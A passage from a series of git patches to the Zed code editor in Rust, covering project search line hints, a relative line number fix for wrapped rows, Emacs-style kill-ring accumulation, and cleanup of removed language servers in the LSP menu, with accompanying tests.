+        let subrange = (range_offset > 0).then(|| range_offset..snapshot.len());
         let ranges = self
             .query
-            .search(&snapshot, None)
+            .search(&snapshot, subrange)
             .await
             .iter()
-            .map(|range| snapshot.anchor_before(range.start)..snapshot.anchor_after(range.end))
+            .map(|range| {
+                snapshot.anchor_before(range.start + range_offset)
+                    ..snapshot.anchor_after(range.end + range_offset)
+            })
             .collect::<Vec<_>>();
 
         _ = report_matches.send((buffer, ranges)).await;
@@ -777,9 +798,9 @@ impl RequestHandler<'_> {
                 return Ok(());
             }
 
-            if self.query.detect(file).await.unwrap_or(false) {
+            if let Some(line_hint) = self.query.detect(file).await.ok().flatten() {
                 // Yes, we should scan the whole file.
-                entry.should_scan_tx.send(entry.path).await?;
+                entry.should_scan_tx.send((entry.path, line_hint)).await?;
             }
             Ok(())
         }
@@ -816,10 +837,13 @@ impl RequestHandler<'_> {
                 // The buffer is already in memory and that's the version we want to scan;
                 // hence skip the dilly-dally and look for all matches straight away.
                 should_scan_tx
-                    .send(ProjectPath {
-                        worktree_id: snapshot.id(),
-                        path: entry.path.clone(),
-                    })
+                    .send((
+                        ProjectPath {
+                            worktree_id: snapshot.id(),
+                            path: entry.path.clone(),
+                        },
+                        LineHint::default(),
+                    ))
                     .await?;
             } else {
                 self.confirm_contents_will_match_tx
@@ -843,13 +867,20 @@ impl RequestHandler<'_> {
 struct InputPath {
     entry: Entry,
     snapshot: Snapshot,
-    should_scan_tx: oneshot::Sender<ProjectPath>,
+    should_scan_tx: oneshot::Sender<(ProjectPath, LineHint)>,
 }
 
 struct MatchingEntry {
     worktree_root: Arc<Path>,
     path: ProjectPath,
-    should_scan_tx: oneshot::Sender<ProjectPath>,
+    should_scan_tx: oneshot::Sender<(ProjectPath, LineHint)>,
+}
+
+struct FindAllMatchesRequest {
+    buffer: Entity<Buffer>,
+    snapshot: BufferSnapshot,
+    line_hint: LineHint,
+    report_matches: oneshot::Sender<(Entity<Buffer>, Vec<Range<language::Anchor>>)>,
 }
 
 /// This struct encapsulates the logic to decide whether a given gitignored directory should be
diff --git a/crates/project/src/search.rs b/crates/project/src/search.rs
index 316bb673a9aa36..c2804f853a359b 100644
--- a/crates/project/src/search.rs
+++ b/crates/project/src/search.rs
@@ -1,5 +1,5 @@
 use aho_corasick::{AhoCorasick, AhoCorasickBuilder};
-use anyhow::Result;
+use anyhow::{Ok, Result};
 use client::proto;
 use fancy_regex::{Captures, Regex, RegexBuilder};
 use gpui::Entity;
@@ -45,6 +45,8 @@ pub struct SearchInputs {
     buffers: Option<Vec<Entity<Buffer>>>,
 }
 
+pub type LineHint = u32;
+
 impl SearchInputs {
     pub fn as_str(&self) -> &str {
         self.query.as_ref()
@@ -390,10 +392,10 @@ impl SearchQuery {
     pub(crate) async fn detect(
         &self,
         mut reader: BufReader<Box<dyn Read + Send + Sync>>,
-    ) -> Result<bool> {
+    ) -> Result<Option<LineHint>> {
         let query_str = self.as_str();
         if query_str.is_empty() {
-            return Ok(false);
+            return Ok(None);
         }
 
         // Yield from this function every 20KB scanned.
@@ -405,12 +407,17 @@ impl SearchQuery {
                 if query_str.contains('\n') {
                     reader.read_to_string(&mut text)?;
                     text::LineEnding::normalize(&mut text);
-                    Ok(search.is_match(&text))
+                    if search.is_match(&text) {
+                        Ok(Some(LineHint::default()))
+                    } else {
+                        Ok(None)
+                    }
                 } else {
                     let mut bytes_read = 0;
+                    let mut line_number: LineHint = LineHint::default();
                     while reader.read_line(&mut text)? > 0 {
                         if search.is_match(&text) {
-                            return Ok(true);
+                            return Ok(Some(line_number));
                         }
                         bytes_read += text.len();
                         if bytes_read >= YIELD_THRESHOLD {
@@ -418,8 +425,9 @@ impl SearchQuery {
                             smol::future::yield_now().await;
                         }
                         text.clear();
+                        line_number += 1;
                     }
-                    Ok(false)
+                    Ok(None)
                 }
             }
             Self::Regex {
@@ -429,12 +437,17 @@ impl SearchQuery {
                 if *multiline {
                     reader.read_to_string(&mut text)?;
                     text::LineEnding::normalize(&mut text);
-                    Ok(regex.is_match(&text)?)
+                    if regex.is_match(&text)? {
+                        Ok(Some(LineHint::default()))
+                    } else {
+                        Ok(None)
+                    }
                 } else {
                     let mut bytes_read = 0;
+                    let mut line_number: LineHint = LineHint::default();
                     while reader.read_line(&mut text)? > 0 {
                         if regex.is_match(&text)? {
-                            return Ok(true);
+                            return Ok(Some(line_number));
                         }
                         bytes_read += text.len();
                         if bytes_read >= YIELD_THRESHOLD {
@@ -442,8 +455,9 @@ impl SearchQuery {
                             smol::future::yield_now().await;
                         }
                         text.clear();
+                        line_number += 1;
                     }
-                    Ok(false)
+                    Ok(None)
                 }
             }
         }
@@ -556,7 +570,7 @@ impl SearchQuery {
                             yield_now().await;
                         }
 
-                        if let Ok(mat) = mat {
+                        if let std::result::Result::Ok(mat) = mat {
                             matches.push(mat.start()..mat.end());
                         }
                     }
diff --git a/crates/remote_server/src/headless_project.rs b/crates/remote_server/src/headless_project.rs
index c4897cd4d05025..e5b2ef47deaab1 100644
--- a/crates/remote_server/src/headless_project.rs
+++ b/crates/remote_server/src/headless_project.rs
@@ -1107,7 +1107,7 @@ impl HeadlessProject {
                 }
             });
 
-            while let Some(buffer) = new_matches.next().await {
+            while let Some((buffer, _)) = new_matches.next().await {
                 let _ = buffer_store
                     .update(cx, |this, cx| {
                         this.create_buffer_for_peer(&buffer, REMOTE_SERVER_PEER_ID, cx)

From da2b62c917f5171eb0bf1bb1ec3168e5d6093b99 Mon Sep 17 00:00:00 2001
From: "./daniele" <47982731+danielepintore@users.noreply.github.com>
Date: Thu, 2 Jul 2026 11:49:52 +0200
Subject: [PATCH 210/772] Fix relative line number calculation when the first
 row is wrapped (#53759)

fixes #53726
Compute the base delta from the first visible, non-filtered row instead
of using rows.start. This avoids off-by-one numbering when rows.start is
a wrapped continuation that gets filtered out. Ensure deleted lines
still advance the relative counter even when they are not numbered. Add
a test for the wrapped scrolling case.
P.S. This is my first time using rust for a serious pull request and
let's say I'm a little bit rusty with it.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: Piotr Osiewicz <24362066+osiewicz@users.noreply.github.com>
Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/editor/src/editor.rs  | 46 +++++++++++++++++++++++---------
 crates/editor/src/element.rs | 51 ++++++++++++++++++++++++++++++++++++
 2 files changed, 84 insertions(+), 13 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 70b4911e17c8bb..dbc177e7a9326a 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -11626,30 +11626,50 @@ impl EditorSnapshot {
         current_selection_head: DisplayRow,
         count_wrapped_lines: bool,
     ) -> HashMap<DisplayRow, u32> {
-        let initial_offset =
-            self.relative_line_delta(current_selection_head, rows.start, count_wrapped_lines);
-
-        self.row_infos(rows.start)
+        let mut row_infos = self
+            .row_infos(rows.start)
             .take(rows.len())
             .enumerate()
-            .map(|(i, row_info)| (DisplayRow(rows.start.0 + i as u32), row_info))
+            .map(|(index, row_info)| (DisplayRow(rows.start.0 + index as u32), row_info))
             .filter(|(_row, row_info)| {
                 row_info.buffer_row.is_some()
                     || (count_wrapped_lines && row_info.wrapped_buffer_row.is_some())
             })
-            .enumerate()
-            .filter_map(|(i, (row, row_info))| {
+            .peekable();
+
+        // We find the first row that actually passes the filter and calculate its
+        // delta independently. This ensures accuracy when scrolling, as the first
+        // visible row in `rows` might be a wrap part that is filtered out, which
+        // would otherwise offset the counter for subsequent lines if we used
+        // `rows.start` as the base for enumeration.
+        let Some((first_row, _)) = row_infos.peek() else {
+            return HashMap::default();
+        };
+
+        let mut current_delta =
+            self.relative_line_delta(current_selection_head, *first_row, count_wrapped_lines);
+
+        row_infos
+            .filter_map(|(row, row_info)| {
+                let is_deleted = row_info
+                    .diff_status
+                    .is_some_and(|status| status.is_deleted());
+
+                if !self.number_deleted_lines && is_deleted {
+                    // Even if we don't number this line, it still counts as a unit
+                    // of distance for the relative numbers of lines below it.
+                    current_delta += 1;
+                    return None;
+                }
+
                 // We want to ensure here that the current line has absolute
                 // numbering, even if we are in a soft-wrapped line. With the
                 // exception that if we are in a deleted line, we should number this
                 // relative with 0, as otherwise it would have no line number at all
-                let relative_line_number = (initial_offset + i as i64).unsigned_abs() as u32;
+                let relative_line_number = current_delta.unsigned_abs() as u32;
+                current_delta += 1;
 
-                (relative_line_number != 0
-                    || row_info
-                        .diff_status
-                        .is_some_and(|status| status.is_deleted()))
-                .then_some((row, relative_line_number))
+                (relative_line_number != 0 || is_deleted).then_some((row, relative_line_number))
             })
             .collect()
     }
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 0e4cb930dcb1e2..80f6bf7fab9f58 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -11280,6 +11280,57 @@ mod tests {
         assert_eq!(relative_rows[&DisplayRow(5)], 2);
     }
 
+    #[gpui::test]
+    async fn test_relative_line_numbers_after_scrolling_wrapped_line(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+
+        let window = cx.add_window(|window, cx| {
+            let buffer = MultiBuffer::build_simple("", cx);
+            Editor::new(EditorMode::full(), buffer, None, window, cx)
+        });
+
+        update_test_language_settings(
+            cx,
+            &|settings: &mut settings::AllLanguageSettingsContent| {
+                settings.defaults.soft_wrap = Some(language_settings::SoftWrap::Bounded);
+                settings.defaults.preferred_line_length = Some(10);
+            },
+        );
+
+        window
+            .update(cx, |editor, _window, cx| {
+                let text = format!("{}\nshort line", "a".repeat(100));
+                editor.buffer.update(cx, |buffer, cx| {
+                    buffer.edit([(Point::default()..Point::default(), text)], None, cx);
+                });
+            })
+            .unwrap();
+        cx.run_until_parked();
+
+        window
+            .update(cx, |editor, _window, cx| {
+                let snapshot = editor.snapshot(_window, cx);
+
+                let line_1_display_row = Point::new(1, 0).to_display_point(&snapshot).row();
+                assert!(
+                    line_1_display_row.0 > 1,
+                    "Line 0 should wrap into multiple rows"
+                );
+
+                let start_row = DisplayRow(1);
+                let relative_rows = snapshot.calculate_relative_line_numbers(
+                    &(start_row..line_1_display_row.next_row()),
+                    line_1_display_row,
+                    false,
+                );
+
+                // If the bug exists, line_1_display_row would have a non-zero relative number
+                // and would be included in the map. It should be 0 (and thus omitted).
+                assert!(!relative_rows.contains_key(&line_1_display_row));
+            })
+            .unwrap();
+    }
+
     #[gpui::test]
     async fn test_vim_visual_selections(cx: &mut TestAppContext) {
         init_test(cx, |_| {});

From e5513539ec4f2b9709c55060aa84fc4a536ee031 Mon Sep 17 00:00:00 2001
From: loadingalias <138315197+loadingalias@users.noreply.github.com>
Date: Thu, 2 Jul 2026 06:16:01 -0400
Subject: [PATCH 211/772] editor: Accumulate consecutive KillRingCut line kills
 (#51761)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #22490

## Summary
• Keep kill-ring state as a dedicated global structure (`text`,
`metadata`, `row`, `column`, `buffer_id`) instead of a raw clipboard
wrapper.
• Update `editor::KillRingCut` to append consecutive empty-line kills
only when all are true:
   - one selection only
   - previous selection was empty
   - same row/column
   - same buffer

• Preserve existing behavior for non-empty and multi-selection cuts by
replacing the ring payload instead of appending.
• Preserve yank metadata behavior through the existing clipboard
selection metadata path.
• Add regression coverage in
`editor_tests::test_kill_ring_cut_accumulates_multi_line_kills`.

## Verification
 • `cargo fmt --all -- --check`
 • `./script/check-keymaps`
 • `./script/clippy -p editor`
 • `cargo test -p editor -- --nocapture`
• `cargo test -p editor
editor_tests::test_kill_ring_cut_accumulates_multi_line_kills --
--exact`
 • `cargo test -p editor test_cut_line_ends -- --exact`

## Manual
• `Ctrl+K`, `Ctrl+K`, `Ctrl+Y` with repeated line-end kills at same
caret location pastes concatenated text.
• Non-empty selection cut and multi-selection still replace as before
(no unintended append).
 • Cut in one buffer then cut in another does not cross-append.
 • Moving caret between kills does not append.
 • Undo/redo around cut+yank path works cleanly.

Release Notes:

- Fixed Emacs-style kill-ring behavior so successive `KillRingCut`
operations at the same caret context are accumulated and pasted together
via one `KillRingYank`, while preserving existing non-empty selection
and multi-selection semantics.

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 crates/editor/src/clipboard.rs    | 112 +++++++++++++++++++++++++++---
 crates/editor/src/editor_tests.rs | 104 +++++++++++++++++++++++++++
 2 files changed, 206 insertions(+), 10 deletions(-)

diff --git a/crates/editor/src/clipboard.rs b/crates/editor/src/clipboard.rs
index 2d3afdac12b82a..90818dbe3131a8 100644
--- a/crates/editor/src/clipboard.rs
+++ b/crates/editor/src/clipboard.rs
@@ -354,6 +354,22 @@ impl Editor {
         if self.read_only(cx) {
             return;
         }
+        let selection_count = self.selections.count();
+        let first_selection = self.selections.first_anchor();
+        let snapshot = self.buffer.read(cx).snapshot(cx);
+        let first_selection_is_empty = first_selection.start == first_selection.end;
+        let selection_start_point = first_selection.start.to_point(&snapshot);
+        let selection_start_row = selection_start_point.row;
+        let selection_start_column = selection_start_point.column;
+        let Some((_, text_anchor)) = self
+            .buffer
+            .read(cx)
+            .text_anchor_for_position(first_selection.start, cx)
+        else {
+            return;
+        };
+        let buffer_id = text_anchor.buffer_id;
+
         self.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
             s.move_with(&mut |snapshot, sel| {
                 if sel.is_empty() {
@@ -365,7 +381,56 @@ impl Editor {
             });
         });
         let item = self.cut_common(false, window, cx);
-        cx.set_global(KillRing(item))
+
+        let Some(item_text) = item.text() else {
+            return;
+        };
+
+        let entry_metadata = item.entries().first().and_then(|entry| match entry {
+            ClipboardEntry::String(entry) => entry.metadata_json::<Vec<ClipboardSelection>>(),
+            _ => None,
+        });
+
+        let can_append = selection_count == 1 && first_selection_is_empty;
+        let item = if can_append
+            && let Some(previous_ring) = cx.try_global::<KillRing>()
+            && previous_ring.can_append
+            && previous_ring.buffer_id == buffer_id
+            && previous_ring.row == selection_start_row
+            && previous_ring.column == selection_start_column
+        {
+            let mut entries = previous_ring
+                .metadata
+                .as_ref()
+                .map_or_else(Vec::new, Clone::clone);
+            if let Some(metadata) = entry_metadata.as_ref() {
+                entries.extend_from_slice(metadata);
+            }
+
+            let mut text = previous_ring.text.clone();
+            text.push_str(&item_text);
+            let text_len = text.len();
+
+            KillRing {
+                text,
+                metadata: kill_ring_metadata_for_text(entries, text_len),
+                row: previous_ring.row,
+                column: previous_ring.column,
+                buffer_id: previous_ring.buffer_id,
+                can_append,
+            }
+        } else {
+            KillRing {
+                text: item_text,
+                metadata: entry_metadata,
+                row: selection_start_row,
+                column: selection_start_column,
+                buffer_id,
+                can_append,
+            }
+        };
+
+        cx.set_global(item)
     }
 
     pub(super) fn kill_ring_yank(
@@ -374,15 +439,15 @@ impl Editor {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let (text, metadata) = if let Some(KillRing(item)) = cx.try_global() {
-            if let Some(ClipboardEntry::String(kill_ring)) = item.entries().first() {
-                (kill_ring.text().to_string(), kill_ring.metadata_json())
-            } else {
-                return;
-            }
-        } else {
+        if !cx.has_global::<KillRing>() {
             return;
-        };
+        }
+
+        let (text, metadata) = cx.update_global::<KillRing, _>(|kill_ring, _| {
+            kill_ring.can_append = false;
+            (kill_ring.text.clone(), kill_ring.metadata.clone())
+        });
+
         self.do_paste(&text, metadata, false, window, cx);
     }
 
@@ -536,9 +601,36 @@ impl Editor {
     }
 }
 
-struct KillRing(ClipboardItem);
+struct KillRing {
+    text: String,
+    metadata: Option<Vec<ClipboardSelection>>,
+    row: u32,
+    column: u32,
+    buffer_id: BufferId,
+    can_append: bool,
+}
 impl Global for KillRing {}
 
+fn kill_ring_metadata_for_text(
+    mut metadata: Vec<ClipboardSelection>,
+    text_len: usize,
+) -> Option<Vec<ClipboardSelection>> {
+    match metadata.len() {
+        0 => None,
+        1 => Some(metadata),
+        _ => {
+            let first_selection = metadata.remove(0);
+            Some(vec![ClipboardSelection {
+                len: text_len,
+                is_entire_line: false,
+                first_line_indent: first_selection.first_line_indent,
+                file_path: None,
+                line_range: None,
+            }])
+        }
+    }
+}
+
 fn edit_for_markdown_paste<'a>(
     buffer: &MultiBufferSnapshot,
     range: Range<MultiBufferOffset>,
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index de1d6905205a3a..dc50483f4962ea 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -8992,6 +8992,110 @@ async fn test_cut_line_ends(cx: &mut TestAppContext) {
     }
 }
 
+#[gpui::test]
+async fn test_kill_ring_cut_accumulates_multi_line_kills(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let mut cx = EditorTestContext::new(cx).await;
+
+    cx.set_state("ˇone\ntwo");
+
+    cx.update_editor(|e, window, cx| {
+        e.kill_ring_cut(&KillRingCut, window, cx);
+        e.kill_ring_cut(&KillRingCut, window, cx);
+    });
+
+    cx.update_editor(|e, window, cx| e.kill_ring_yank(&KillRingYank, window, cx));
+    cx.assert_editor_state("one\nˇtwo");
+}
+
+#[gpui::test]
+async fn test_kill_ring_cut_matches_emacs_kill_line_sequence_at_end_of_buffer(
+    cx: &mut TestAppContext,
+) {
+    init_test(cx, |_| {});
+
+    let mut cx = EditorTestContext::new(cx).await;
+
+    cx.set_state("ˇa\nb\nc");
+
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+
+    cx.update_editor(|editor, _, cx| {
+        assert_eq!(editor.text(cx), "\nc");
+    });
+
+    cx.update_editor(|editor, window, cx| editor.kill_ring_yank(&KillRingYank, window, cx));
+    cx.update_editor(|editor, _, cx| {
+        assert_eq!(editor.text(cx), "a\nb\nc");
+    });
+}
+
+#[gpui::test]
+async fn test_kill_ring_cut_accumulates_final_line_without_trailing_newline(
+    cx: &mut TestAppContext,
+) {
+    init_test(cx, |_| {});
+
+    let mut cx = EditorTestContext::new(cx).await;
+
+    cx.set_state("ˇa\nb\nc");
+
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+
+    cx.update_editor(|editor, _, cx| {
+        assert_eq!(editor.text(cx), "");
+    });
+
+    cx.update_editor(|editor, window, cx| editor.kill_ring_yank(&KillRingYank, window, cx));
+    cx.update_editor(|editor, _, cx| {
+        assert_eq!(editor.text(cx), "a\nb\nc");
+    });
+}
+
+#[gpui::test]
+async fn test_kill_ring_yank_breaks_kill_ring_cut_accumulation(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let mut cx = EditorTestContext::new(cx).await;
+
+    cx.set_state("ˇa\nb\nc");
+
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_yank(&KillRingYank, window, cx));
+    cx.update_editor(|editor, window, cx| editor.move_to_beginning(&MoveToBeginning, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_yank(&KillRingYank, window, cx));
+
+    cx.update_editor(|editor, _, cx| {
+        assert_eq!(editor.text(cx), "a\nb\nc");
+    });
+}
+
+#[gpui::test]
+async fn test_kill_ring_yank_pastes_accumulated_kill_at_each_cursor(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let mut cx = EditorTestContext::new(cx).await;
+
+    cx.set_state("ˇone\ntwo");
+
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+    cx.update_editor(|editor, window, cx| editor.kill_ring_cut(&KillRingCut, window, cx));
+
+    cx.set_state("aˇ bˇ");
+    cx.update_editor(|editor, window, cx| editor.kill_ring_yank(&KillRingYank, window, cx));
+    cx.assert_editor_state("aone\nˇ bone\nˇ");
+}
+
 #[gpui::test]
 async fn test_clipboard(cx: &mut TestAppContext) {
     init_test(cx, |_| {});

From 4a1cb2b1e24cf25463e29f7aa67980d4d86ebabc Mon Sep 17 00:00:00 2001
From: Ankan Misra <misra13arko@gmail.com>
Date: Thu, 2 Jul 2026 16:30:16 +0530
Subject: [PATCH 212/772] lsp_button: Fix missing server metadata after restart
 (#55162)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Restarting an LSP from the picker drops the server's metadata (version,
memory, "View Logs") even though the new server is healthy. Reproduces
with `vtsls`, `eslint`, `rust-analyzer`, and others; `vlsls` doesn't.

The button kept id-keyed state in
[`health_statuses`](https://github.com/zed-industries/zed/blob/main/crates/language_tools/src/lsp_button.rs#L159)
and
[`servers_per_buffer_abs_path`](https://github.com/zed-industries/zed/blob/main/crates/language_tools/src/lsp_button.rs#L161),
but never handled
[`LspStoreEvent::LanguageServerRemoved`](https://github.com/zed-industries/zed/blob/main/crates/project/src/lsp_store.rs#L4066)
— there was even a [stale
TODO](https://github.com/zed-industries/zed/blob/main/crates/language_tools/src/lsp_button.rs#L860)
claiming the event wasn't emitted (it's emitted from [five
sites](https://github.com/zed-industries/zed/blob/main/crates/project/src/lsp_store.rs#L11190)
in `lsp_store`). On restart the dead id lingered next to the new one in
both maps, and rendering picked the wrong entry.

Fix: handle `LanguageServerRemoved` and evict the dead id from both
maps. `binary_statuses` is left alone — it's name-keyed and shared
across restart cycles to drive the "Downloading… → Starting…" UX.

The cleanup is extracted to `LanguageServers::remove_server` so it's
directly unit-testable. Added four tests covering health eviction,
per-buffer eviction with empty-entry pruning, `binary_statuses`
preservation, and the full restart sequence.

[PR #50417](https://github.com/zed-industries/zed/pull/50417) attempted
this earlier with a `LanguageServerAdded` handler. @SomeoneToIgnore
flagged that as the wrong hook ([buffer
registration](https://github.com/zed-industries/zed/blob/main/crates/language_tools/src/lsp_button.rs#L919-L948)
is what populates state, not startup) and asked for tests. Handling
`LanguageServerRemoved` is a cleaner fit — it's the natural counterpart
to registration, and it also fixes the related case where stopping a
server (without restart) leaks state.

## Verification

Reproduced on `main` and verified the fix on this branch with `vtsls`
and `eslint` against a small TypeScript project.

| Before restart | After restart on `main` (bug) | After restart on this
branch (fix) |
|---|---|---|
| <img width="588" alt="vtsls row before restart — version, memory, View
Logs all visible"
src="https://github.com/user-attachments/assets/bdd2610b-cf8f-4ea1-bc45-f363b098c146"
/> | <img width="536" alt="vtsls row after restart on main — metadata
gone"
src="https://github.com/user-attachments/assets/66b3eefd-f801-4bfd-8b80-5f0e20fb3bc6"
/> | <img width="554" alt="vtsls row after restart on fix branch —
metadata persists"
src="https://github.com/user-attachments/assets/51d4df48-1223-4b21-856f-72d4c1eb2a6a"
/> |

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #53627

Release Notes:

- Fixed missing language server metadata in the LSP menu after restart.
</content>

---------

Co-authored-by: Piotr Osiewicz <24362066+osiewicz@users.noreply.github.com>
---
 crates/language_tools/src/lsp_button.rs | 180 +++++++++++++++++++++++-
 1 file changed, 179 insertions(+), 1 deletion(-)

diff --git a/crates/language_tools/src/lsp_button.rs b/crates/language_tools/src/lsp_button.rs
index 22b2795145fd20..625e48b0877768 100644
--- a/crates/language_tools/src/lsp_button.rs
+++ b/crates/language_tools/src/lsp_button.rs
@@ -724,6 +724,19 @@ impl LanguageServers {
     fn is_empty(&self) -> bool {
         self.binary_statuses.is_empty() && self.health_statuses.is_empty()
     }
+
+    /// Drop all id-keyed state for a server that has been removed (stopped or
+    /// reaching end-of-life via restart). `binary_statuses` is intentionally
+    /// preserved — it is keyed by name and shared across restart cycles to
+    /// drive the "Downloading… → Starting…" status UX.
+    fn remove_server(&mut self, server_id: LanguageServerId) {
+        self.health_statuses.remove(&server_id);
+        self.servers_per_buffer_abs_path
+            .retain(|_, servers_for_path| {
+                servers_for_path.servers.remove(&server_id);
+                !servers_for_path.servers.is_empty()
+            });
+    }
 }
 
 #[derive(Debug)]
@@ -903,7 +916,6 @@ impl LspButton {
         let mut updated = false;
 
         // TODO `LspStore` is global and reports status from all language servers, even from the other windows.
-        // Also, we do not get "LSP removed" events so LSPs are never removed.
         match e {
             LspStoreEvent::LanguageServerUpdate {
                 language_server_id,
@@ -993,6 +1005,12 @@ impl LspButton {
                 });
                 updated = true;
             }
+            LspStoreEvent::LanguageServerRemoved(server_id) => {
+                self.server_state.update(cx, |state, _| {
+                    state.language_servers.remove_server(*server_id);
+                });
+                updated = true;
+            }
             _ => {}
         };
 
@@ -1406,3 +1424,163 @@ impl Render for LspButton {
         )
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn server_id(n: usize) -> LanguageServerId {
+        LanguageServerId(n)
+    }
+
+    fn server_name(s: &str) -> LanguageServerName {
+        LanguageServerName(s.into())
+    }
+
+    fn health_status(name: &str) -> LanguageServerHealthStatus {
+        LanguageServerHealthStatus {
+            name: server_name(name),
+            health: Some((None, ServerHealth::Ok)),
+        }
+    }
+
+    fn servers_for_path(servers: &[(LanguageServerId, &str)]) -> ServersForPath {
+        ServersForPath {
+            servers: servers
+                .iter()
+                .map(|(id, name)| (*id, Some(server_name(name))))
+                .collect(),
+            worktree: None,
+        }
+    }
+
+    /// `remove_server` evicts the id from `health_statuses` so a restarted
+    /// server's new id renders without inheriting the old one's stale entry.
+    /// This is the regression test for #53627.
+    #[test]
+    fn remove_server_drops_health_entry_for_id() {
+        let mut state = LanguageServers::default();
+        state
+            .health_statuses
+            .insert(server_id(1), health_status("rust-analyzer"));
+        state
+            .health_statuses
+            .insert(server_id(2), health_status("typescript-language-server"));
+
+        state.remove_server(server_id(1));
+
+        assert!(!state.health_statuses.contains_key(&server_id(1)));
+        assert!(state.health_statuses.contains_key(&server_id(2)));
+    }
+
+    /// `remove_server` evicts the id from each per-buffer entry; entries that
+    /// become empty are dropped so the map does not grow unbounded across
+    /// many buffer opens/closes.
+    #[test]
+    fn remove_server_evicts_id_from_per_buffer_entries_and_drops_empty_entries() {
+        let mut state = LanguageServers::default();
+        let buffer_a = PathBuf::from("/project/a.rs");
+        let buffer_b = PathBuf::from("/project/b.rs");
+
+        state.servers_per_buffer_abs_path.insert(
+            buffer_a.clone(),
+            servers_for_path(&[(server_id(1), "rust-analyzer")]),
+        );
+        state.servers_per_buffer_abs_path.insert(
+            buffer_b.clone(),
+            servers_for_path(&[(server_id(1), "rust-analyzer"), (server_id(2), "typos-lsp")]),
+        );
+
+        state.remove_server(server_id(1));
+
+        assert!(
+            !state.servers_per_buffer_abs_path.contains_key(&buffer_a),
+            "buffer_a's entry held only the removed server, so the entry itself should be dropped",
+        );
+        let buffer_b_entry = state
+            .servers_per_buffer_abs_path
+            .get(&buffer_b)
+            .expect("buffer_b's entry has another server, so it must be retained");
+        assert!(!buffer_b_entry.servers.contains_key(&server_id(1)));
+        assert!(buffer_b_entry.servers.contains_key(&server_id(2)));
+    }
+
+    /// `binary_statuses` is keyed by name and intentionally shared across
+    /// restart cycles to drive the "Downloading… → Starting…" UX. Removing a
+    /// single server's id must not touch it.
+    #[test]
+    fn remove_server_does_not_touch_binary_statuses() {
+        let mut state = LanguageServers::default();
+        state.binary_statuses.insert(
+            server_name("rust-analyzer"),
+            LanguageServerBinaryStatus {
+                status: BinaryStatus::Starting,
+                message: None,
+            },
+        );
+
+        state.remove_server(server_id(1));
+
+        assert!(
+            state
+                .binary_statuses
+                .contains_key(&server_name("rust-analyzer")),
+            "binary_statuses is name-keyed and shared across restart cycles",
+        );
+    }
+
+    /// Simulates the full restart event sequence: remove old id, register
+    /// new id with same name, write health for the new id. After restart
+    /// only the new id should be visible — no leftover entry from the old
+    /// incarnation.
+    #[test]
+    fn restart_sequence_leaves_only_new_server_id() {
+        let mut state = LanguageServers::default();
+        let buffer = PathBuf::from("/project/main.rs");
+        let name = "rust-analyzer";
+
+        // Pre-restart: server v1 is registered for the buffer with health.
+        state
+            .servers_per_buffer_abs_path
+            .insert(buffer.clone(), servers_for_path(&[(server_id(1), name)]));
+        state
+            .health_statuses
+            .insert(server_id(1), health_status(name));
+
+        // Restart: old id is removed.
+        state.remove_server(server_id(1));
+
+        // New id registers for the same buffer.
+        let entry = state
+            .servers_per_buffer_abs_path
+            .entry(buffer.clone())
+            .or_insert_with(|| ServersForPath {
+                servers: HashMap::default(),
+                worktree: None,
+            });
+        entry.servers.insert(server_id(2), Some(server_name(name)));
+
+        // Health update for the new id arrives.
+        state
+            .health_statuses
+            .insert(server_id(2), health_status(name));
+
